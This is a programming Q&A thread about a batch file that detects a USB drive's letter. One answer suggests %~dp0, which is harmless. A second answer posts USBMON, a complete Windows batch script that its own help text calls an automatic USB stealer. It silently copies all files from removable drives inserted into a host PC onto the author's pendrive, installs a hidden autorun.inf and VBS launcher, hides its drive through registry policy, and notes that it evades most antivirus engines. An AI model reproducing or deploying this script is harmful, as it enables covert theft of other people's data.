0

I would like to put a batch file on a USB flash drive that I can just plug in and run the batch. I would like the batch to detect what drive letter has been assigned to the USB flash drive, then open a command prompt and change the directory to the drive letter of the USB flash drive in which then type a command string into the cmd prompt and enter a CR to execute the command.

I don't even know where to begin. I've searched for cmd batch related topics but haven't had any luck on actually detecting the drive letter in which a USB flash drive has been assigned after plugging it into a PC.

Any help would be much appreciated. Thank you.

cheapkid1
  • 469
  • 7
  • 18
  • 32
  • have you read this? http://social.technet.microsoft.com/Forums/en-US/ITCG/thread/f2e34912-175c-4597-a734-9405a6694347/ – paul Apr 24 '13 at 13:49
  • Tried it, it returns "No instances available" but I think it's specific to his samsung storage device, I'm sure the Device ID and PNPDeviceID can be changed, but I have no idea where to get that information. I looked the device manager, but it doesn't have the PNPDeviceID listed. If it does, then it's not labeled PNPDeviceID. Not sure...? – cheapkid1 Apr 24 '13 at 14:29

2 Answers2

2

This will tell you the drive letter assigned

@echo off
setlocal   
set wmi='wmic logicaldisk where "volumeserialnumber='32A78F3B'" get caption'
    for /f "skip=1 delims=" %%A in (%wmi%) do (
        for /f "tokens=1 delims=:" %%B in ("%%A") do (set drive=%%B)
    )
echo %drive%

To get the volume serial number, type

vol [drive letter of flashdrive:]

But all of that isn't necessary if you are running the batch file from the USB drive. Just insert

cd /d %~dp0 

at the top of your batch file and it will change to the directory the batch file is run from. From there just add your code.

Do you want the batch file to automatically run when you insert the USB drive? Your question isn't clear on that point.

Matt Williamson
  • 6,947
  • 1
  • 23
  • 36
  • I placed a pause at the end of my batch to see what it was doing and this is what I got. I get "No Instance(s) Available. ECHO is off. Press any key to continue..." – cheapkid1 Apr 24 '13 at 14:47
  • No, I'd like to manually run the batch file after I plug it into the PC, in which case I'll have a number of different batch files to choose from to command different things into cmd prompt. So one batch will be for one command string executed, and another batch for a different executed command string in cmd prompt. I hope this helped clarify. The whole reason for detecting the drive letter is to use that inside the batch itself to change the cmd prompt directory to that drive letter and command string then a CR to execute the command. – cheapkid1 Apr 24 '13 at 14:52
  • Ok, so you inserted your USB drive and typed vol [the drive letter that was assigned:]. Then you took the volume serial number that vol returned and changed the line in the batch file to "volumeserialnumber='your volume serial number'" without the - in the middle? – Matt Williamson Apr 24 '13 at 14:58
  • Unfortunately that will only work on one or identical PCs. Drive letter assignments could change varying PC to PC. I will be working between many PCs. I don't want to have to edit the batch file before I run it every time I put the USB drive in a different computer. – cheapkid1 Apr 24 '13 at 15:23
  • ...Or maybe I just missed something. Does the volumeserialnumber never change? If not, my apologies for not understanding. – cheapkid1 Apr 24 '13 at 15:32
  • If you're running the batch file manually from the USB drive, %~d0 will give you the drive letter no matter what it is. Also, I'm not clear why you need **type a command string into the cmd prompt and enter a CR to execute the command.** Just putting the command into the batch file and calling it will achieve that. – Matt Williamson Apr 24 '13 at 15:39
  • So I put the usb drive in, typed in cmd prompt vol [E:] but it didn't work. So I change the drive to E:\ then just typed "vol" and it gave me the serial number: 6CA7-7C8E I then copied that into the batch code from above replacing the 32A78F3B. It still displays the same message "No Instance(s) Available. ECHO is off. press any key to continue... – cheapkid1 Apr 24 '13 at 15:44
  • Did you take out the dash in the middle? It should be 6CA77C8E in the batch file. To answer your previous question, no volume serial numbers don't change unless you manually change it and then it still stays the same from computer to computer. – Matt Williamson Apr 24 '13 at 15:50
  • Ok, if I use the cd /d %~dp0 what can I echo to see if it can verify drive letter? Still echo %drive%? – cheapkid1 Apr 24 '13 at 15:51
  • No I didn't take the hyphen out. I'll try that. – cheapkid1 Apr 24 '13 at 15:52
  • use echo %~dp0 to show the full path. Use echo %~d0 to show just the drive letter. – Matt Williamson Apr 24 '13 at 15:56
  • NICE!! Sorry for the ignorance. I appreciate the help, that worked great. Very simple. Thanks. – cheapkid1 Apr 24 '13 at 15:59
  • As soon as I tried it on a Vista machine, it didn't work. Is there something special for Vista that needs to be changed in the code? – cheapkid1 Apr 25 '13 at 18:26
  • I put -1000 instead of -500 and it worked, not sure if that's a global fix for all Vista machines, guess I'll find out on the next few. – cheapkid1 Apr 25 '13 at 18:36
0

I've coded a utility called USBMON, when you run the script it gets a list of all connected drives, excludes cd-roms and hdd's from the list, followed the script starts to monitor waiting for the insertion of new USB drives in the free letters and then copies all the files from the inserted usb to a folder.

You can do the propper changes to instead of copying the files do other thing as open a CMD window.

PS: The variable names are in English but Comment lines, echo's and information are in Spanish, but I think is easy to understand also you can use GoogleTranslate.

@Echo OFF

Title USB MON v0.3
REM By Elektro H@cker

Setlocal enabledelayedexpansion
Color 07

:: :: :: :: :: :: :: ::
::                   ::
::   CONFIGURACIÓN   ::
::                   ::
:: :: :: :: :: :: :: ::
::
::
:: Directorio de inicio
Set "DIR=%~d0"
::
:: Directorio del log
Set "LOGFILE=.\USBMON.log"
::
:: Letras a monitorizar
Set "DRIVES= B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
::
:: Letras hexadecimales (NO TOCAR)
Set "DRIVES_HEX=A:1 B:2 C:4 D:8 E:16 F:32 G:64 H:128 I:256 J:512 K:1024 L:2048 M:4096 N:8192 O:16384 P:32768 Q:65536 R:131072 S:262144 T:524288 U:1048576 V:2097152 W:4194304 X:8388608 Y:16777216 Z:33554432"
::
:: Ocultar unidades vacías en "MI PC"                (ACTIVAR / DESACTIVAR)
Set "HideDrivesWithNoMedia=ACTIVAR"
::
:: Ocultar la unidad de inicio de USB MON en "MI PC" (ACTIVAR / DESACTIVAR)
Set "HideUSBMONDrive=DESACTIVAR"
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

REM Inicio del LOG
Call :Logo
Call :Write_Log >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log Iniciando USB MON... >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log >NUL

REM Ocultar unidades vacías en "MI PC"
REG Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" >NUL 2>&1 && (
    FOR /F "Tokens=3 Delims= " %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" 2^>NUL') do (
       Set "Value=%%a"
)) || (Set "Value=0x1")
IF /I "%HideDrivesWithNoMedia%" EQU "ACTIVAR" (
    IF /I NOT "%Value%" EQU "0x0" (
        Call :Write_Log [+] Ocultando las unidades va´c¡as en MI PC...
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "0" /F >NUL
    ) ELSE (
        Set "HideDrivesWithNoMedia="
    )
)

REM Ocultar la unidad de inicio de USB MON
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (
    REG QUERY "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" >NUL 2>&1 && (SET "HideUSBMONDrive=") || (
        Call :Write_Log [+] Ocultando la unidad de USB MON en MI PC [%DIR%]...
        FOR %%# in (%DRIVES_HEX%) do (
            Echo %%# | FIND "%DIR%" >NUL && (
                Call SET "DIR_HEX=%%#"
                CALL REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /T "REG_DWORD" /D "%%DIR_HEX:~2%%" /F >NUL
            )
        )
    )
)

REM Reinicia el proceso explorer.exe
Echo " %HideDrivesWithNoMedia% , %HideUSBMONDrive% " | FINDSTR /I "\<ACTIVAR\>" >NUL && (
    START /W Taskkill /F /IM "explorer.exe" >NUL
    START /B explorer.exe
    Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
)

REM Para revertir los cambios para "Ocultar unidades vacías en "MI PC"" en el próximo reinicio del sistema
IF /I NOT "%Value%" EQU "0x0" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrivesWithNoMedia" /D "CMD /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V "HideDrivesWithNoMedia" /T "REG_DWORD" /D "1" /F >NUL" /F >NUL)
REM Para revertir los cambios para "Ocultar la unidad de inicio de USB MON" en el próximo reinicio del sistema
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=%" /D "CMD /C REG DELETE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V "NoDrives" /F >NUL" /F >NUL)

REM Inicia el servicio de Disco Virtual para poder usar Diskpart
:SERVICE
Call :Logo
SC query "VDS" | FIND /I "PENDING" >NUL && (
    Call :Write_Log Hay una detenci£n pendiente del servicio de Disco virtual.
    Call :Write_Log Esperando a que el servicio pueda reanudarse para continuar...
    Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
    Goto :Service
)
SC query "VDS" | FIND /I "STOPPED" >NUL && (
    Call :Write_Log El servicio de Disco virtual est… detenido.
    Call :Write_Log Iniciando el servicio...
    sc config "VDS" start= "demand" >NUL 2>&1
    sc start "VDS" >NUL 2>&1 || (
        Call :Write_Log         
        Call :Write_Log * ERROR CRÖTICO *
        Call :Write_Log No se pudo iniciar el servicio de Disco virtual, Compruebe sus permisos de usuario.
        Call :Write_Log Terminando el proceso...
        Exit /B 1
    )
) & (Call :Write_Log El servicio de Disco virtual se ha iniciado.)

REM Parámetros
IF        "%~1" EQU "/?"        (Goto :command_help)
IF /I     "%~1" EQU "-ayuda"    (Goto :extended_help)
IF /I     "%~1" EQU "-instalar" (Goto :install)
IF /I     "%~1" EQU "-test"     (Goto :test)
IF /I NOT "%~1" EQU "" (Call :Logo & Echo: Par…metro desconocido: %1 & Exit /B 1)

REM Elimina archivos temporales de una sesión anterior
DEL /Q "%WINDIR%\Temp\USBMON*" 2>NUL

REM Elimina los discos fijos para la monitorizaci£n
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (Set "DRIVES=!DRIVES: %%# = !")

REM Elimina los dispositivos de DVD-ROM para la monitorizaci£n
For %%# in (%DRIVES%) DO (fsutil fsinfo drivetype %%#: | FIND /I "ROM" >NUL && (Set "DRIVES=!DRIVES: %%# = !"))

REM Monitoreo y auto-copiado
:MONITOR
Call :Logo
Echo Unidad de origen: [%DIR%]
Call :Write_Log Monitorizando unidades:!DRIVES!
Echo+ & Call :Write_Log >NUL
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (
    Echo "%DRIVES%" | FIND /I "%%#" >NUL && (
        For /F "Tokens=7,* delims= " %%A in ('Vol %%#: ^| FIND /I " %%# "') Do (
            IF "%%B" EQU "tiene etiqueta." (Set "LBL=Sin etiqueta") ELSE (Set "LBL=%%B")
            Call :Write_Log Hay un dispositivo conectado en la unidad [%%#:] con etiqueta "!LBL!"
        )
        Call :Write_Log  [+] Buscando archivos....
        DIR /B /A "%%#:\*" >NUL 2>&1 && (
            Call :Write_Log  [+] Copiando archivos de la unidad [%%#:] a la unidad [%DIR%]
            MKDIR "%WINDIR%\Temp" 2>NUL
            MKDIR "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!" 2>NUL
            IF EXIST "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" (
                XCOPY /A /C /E /H /J /K /O /Q /X "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" /EXCLUDE:%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt
            ) ELSE (
                XCOPY /A /C /E /H /J /K /O /Q /X /Y "%%#:\*" "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\"
            )
            DEL /Q "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt" 2>NUL
            PUSHD "%%#:\"
            For /R %%a in (*) do (Echo %%a>>"%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt")
            POPD
        ) || (
            Call :Write_Log  [+] La unidad est… vac¡a...
        )
        )
    )
)
Timeout /T 10 2>NUL || (Ping -n 10 localhost >NUL)
Goto :MONITOR

:LOGO
CLS
ECHO+
ECHO+                                                          .------.
ECHO+      _   _  ____   ____       __  __   ___   _   _       ^| from-.-----.
ECHO+     ^| ^| ^| ^|/ ___^| ^| __ )     ^|  \/  ^| / _ \ ^| \ ^| ^|      ^| that-^| -----^|
ECHO+     ^| ^| ^| ^|\___ \ ^|  _ \     ^| ^|\/^| ^|^| ^| ^| ^|^|  \^| ^|      ^| -usb-^| to---^|
ECHO+     ^| ^|_^| ^| ___) ^|^| ^|_) ^|    ^| ^|  ^| ^|^| ^|_^| ^|^| ^|\  ^|      ^| -----^| -my--^|
ECHO+      \___/ ^|____/ ^|____/     ^|_^|  ^|_^| \___/ ^|_^| \_^|      '------^| drive^|
ECHO+       By Elektro H@cker                                    v0.3 '------'                                        
ECHO+
GOTO:EOF

:WRITE_LOG
Echo %*
Call Echo [%DATE%] [%TIME: =%] %* >> "%LOGFILE%"
GOTO:EOF

:INSTALL

Call :Logo
Set "Extraibles="
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (Set "Extraibles=!Extraibles! %%#")
Echo Dispositivos extraibles conectados:!Extraibles! | MORE
Echo Escribe la letra del dispositivo donde se instalar… USB MON...
Set /P "DriveDest=>> "
If Not exist "%DriveDest%:" (Goto :Install) ELSE (Copy /Y %0 "%DriveDest%:\%~n0.bat" >NUL)
Call :Logo
Echo Unidad seleccionada: [%DriveDest%:] | MORE

COPY /Y "%CD%\%~n0.BAT" "%DriveDest%:\%~n0.BAT" >NUL

Choice /M "¨Quiere crear un autorun.inf?"

If "!ERRORLEVEL!" EQU "1" (
    Choice /M "¨Quiere que USBMON se ejecute en modo oculto?"
    If "!ERRORLEVEL!" EQU "1" (
        Set "EXT=vbs"
        (
         Echo Set wshShell = CreateObject("WScript.Shell"^) 
         Echo wshShell.run """" ^& ".\%~n0.BAT" ^& """", 0
        )>"%DriveDest%:\%~n0.vbs"
    ) ELSE (
        Set "EXT=bat"
    )
    (
    Echo [autorun]
    Echo shellexecute=%~n0.!EXT!
    Echo shell\open\command=%~n0.!EXT!
    Echo shell\explore\command=%~n0.!EXT!
    Echo shell=explore
    Echo open=%~n0.!EXT!
    Echo action =Ejecutar USB MON
    Echo Language=
    Echo ID=en
    )>"%DriveDest%:\autorun.inf"
    Attrib -A +S +H +R "%DriveDest%:\autorun.inf"
)
Call :Logo
Echo Gracias por utilizar USB MON           :^) | MORE
Pause&Exit /B 0

:TEST
Call :Logo
Echo: Comenzando el test... | MORE
Echo: [+] Buscando alguna unidad extra¡ble en el PC...
Echo list vol | diskpart | FIND /I "xtra" >NUL || (
    Echo: * ERROR CRÖTICO *
    Echo: Porfavor inserta un dispositivo extra¡ble en el PC.
    Exit /B 1
)
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I "xtra"') DO (
    IF "%%#:" EQU "%DIR%" (
        Echo: * ERROR CRÖTICO *
        Echo: No debes ejecutar USB MON desde la unidad extra¡ble en este test.
        Exit /B 1
    )
    Echo: [+] Unidad extra¡ble encontrada [%%#:] | MORE
    Call :Write_Log Iniciando un test en la unidad [%%#:] >NUL
    Set "DRIVES= %%# "
    MKDIR "%WINDIR%\Temp" 2>NUL
    DEL /Q "%WINDIR%\Temp\USBMON_[%%#]*" 2>NUL
)
Echo: Se procede a monitorizar la unidad [%DRIVES: =%:]...
Timeout /T 10 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Monitor

:COMMAND_HELP
call :Logo
Echo: /?        ^^^| Muestra esta ayuda | MORE
Echo: -ayuda    ^^^| Muestra la ayuda extendida | MORE
Echo: -instalar ^^^| Instala USBMON en un dispositivo extra¡ble | MORE
Echo: -test     ^^^| Inicia un test en un dispositivo extra¡ble | MORE
Exit /B 0

:EXTENDED_HELP
Call :Logo
Echo - ¨Que es USB MON?
Echo   ________________ | MORE
Echo: USB MON (USB Monitor) es un programa portable con el f¡n de monitorizar
Echo: los nuevos dispositivos extraibles que se conecten a un PC
Echo: y copiar autom…ticamente su contenido a la carpeta de USB MON. | MORE
Echo: USB MON no afecta a los dispositivos que ya se encuentren conectados a un PC
Echo: en el momento que se ejecuta el programa. | MORE
Echo: En pocas palabras, USB MON es un "roba USB" autom…tico. | MORE
Pause&Call :Logo

Call :Logo
Echo - ¨USB MON es compatible con todas las versiones de Windows?
Echo   __________________________________________________________ | MORE
Echo: USB MON ha sido testeado £nicamente en Windows 7,
Echo: pero no deber¡a dar problemas en Windows XP y Vista. | MORE
Pause&Call :Logo

Echo - Consejos para un correcto uso de USB MON
Echo   ________________________________________ | MORE
Echo: Es conveniente ejecutar USB MON sin que hayan medios extraibles conectados
Echo: en ese momento al PC, ya que esa letra de unidad quedar¡a descartada. | MORE
Echo: Es NECESARIO ocultar las unidades vac¡as en MI PC. | MORE
Pause&Call :Logo

Echo - ¨Como funciona USB MON?
Echo   _______________________ | MORE
Echo: Al ejecutar USB MON se obtiene una lista de las letras de las unidades
Echo: conectadas al equipo en ese momento, esas letras se descartan
Echo: y se comienza a monitorizar el resto de letras en el equipo.
Echo: (Por eso es conveniente los consejos de uso de USB MON^) | MORE
Echo: Cuando USB MON detecta un dispositivo extraible insertado en alguna de las
Echo: letras monitorizadas, se buscan archivos en esa unidad y se copian
Echo: a la carpeta del programa, excluyendo duplicados de archivos
echo: que se hayan copiado anteriormente de esa misma unidad. | MORE
Pause&Call :Logo

Echo - ¨Como funciona las opciones de "Ocultar unidades" de USB MON?
Echo   _____________________________________________________________ | MORE
Echo Ocultar unidades vac¡as en "MI PC":
Echo: Se escribe una clave en el registro para ocultar las unidades visibles
Echo: sin medios insertados. | MORE
Echo Ocultar la unidad de inicio de USB MON en "MI PC":
Echo: Se escribe una clave en el registro para ocultar la unidad desde
Echo: donde se inicia USB MON. | MORE
Echo: Los cambios efectuados se revierten en el pr¢ximo reinicio del sistema.| MORE
Echo: Si alguna de las dos opciones está activada se reiniciará el proceso del
Echo: explorer.exe, para que los cambios surgan efecto al instante. | MORE
Pause&Call :Logo

Echo - ¨Los antivirus pueden detectar USB MON?
Echo   _______________________________________ | MORE
Echo: En mi £ltimo escaneo online solo lo ha detectado 1 de 42 antivirus: | MORE
Echo: DrWeb  BATCH.Virus
Echo: Fecha: 2012-09-26 | MORE
Pause&Call :Logo

Echo - ¨Que es un autorun.inf?
Echo   _______________________ | MORE
Echo: Un autorun es un archivo de personalizaci¢n preconfigurado para USB/CD/DVD.
Echo; Se puede personalizar el aspecto del dispositivo, y ejecutar un proceso. | MORE
Echo: Un autorun es detectado por el servicio de Reproducci£n autom…tica de windows,
Echo; La ejecuci¢n del autorun depende de que el servico est‚ habilitado en el PC. | MORE
Echo: El servicio se puede habilitar desde la herramienta "Services.MSC". | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-instalar" de USB MON?
Echo   _________________________________________________ | MORE
Echo: Sirve para portabilizar el programa hacia una unidad extraible. | MORE
Echo: La opci¢n est… pensada para ser instalada en un pendrive, as¡, con
Echo: la ayuda de un autorun.inf, poder insertar el pendrive en otro equipo,
Echo: y monitorizar ese equipo para copiar los otros medios EXTRAIBLES a tu pendrive. | MORE
Pause&Call :Logo

Echo - ¨Para que sirve la opci¢n "-test" de USB MON?
Echo   _____________________________________________ | MORE
Echo: Sirve para realizar una peque¤a prueba de monitorizaci¢n en una 
Echo: unidad extra¡ble aleat¢ria de tu PC. | MORE
Echo: Es una prueba para ver si todo funciona con normalidad. | MORE
Echo: PD: El test ha de cancelarse manualmente apretando "CTRL + C" o cerrando CMD. | MORE
Pause&Call :Logo

Echo - Cuando intento instalar USB MON con el autorun.inf no me funciona, ¨Porqu‚?
Echo   ___________________________________________________________________________ | MORE
Echo Windows XP/Vista:
Echo: El servicio de "Reproducci¢n autom…tica" debe estar activado en el equipo. | MORE
Echo Windows 7:
Echo: Microsoft deshabilit£ POR COMPLETO el uso de un autorun.inf en pendrives,
Echo: La £nica manera de ejecutar un autorun.inf es disponer de un pendrive,
Echo: que se haga pasar por un dispositivo de CD-ROM para auto-reproducirse. | MORE
Echo: PD: Inf¢rmate en internet sobre el modelo de pendrive antes de adquirirlo. | MORE
Pause&Call :Logo

Echo - ¨Donde puedo conseguir m…s programas tuyos?
Echo   ___________________________________________ | MORE
Echo: No tengo ninguna web ni blog personal, pero puedes visitar www.elhacker.net | MORE
Echo: All¡ encontrar…s m…s scripts £tiles de todo tipo usando el buscador del foro,
Echo: Tambi‚n me encontrar…s moderando la secci¢n de Scripting, donde siempre estar‚
Echo: dispuesto y encantado de resolver tus dudas. | MORE
Pause&Exit/B 0
ElektroStudios
  • 19,105
  • 33
  • 200
  • 417
  • np, but you can search for the :MONITOR sub in my code, is the part where you are interested to, you can see how it does a for loop retreiving the output of "DiskPart" to search USB drives, next :Log is called telling a new usb drive is found, next does a XCOPY operation, you can change that XCOPY operation for anything else and you got it. – ElektroStudios Apr 24 '13 at 14:44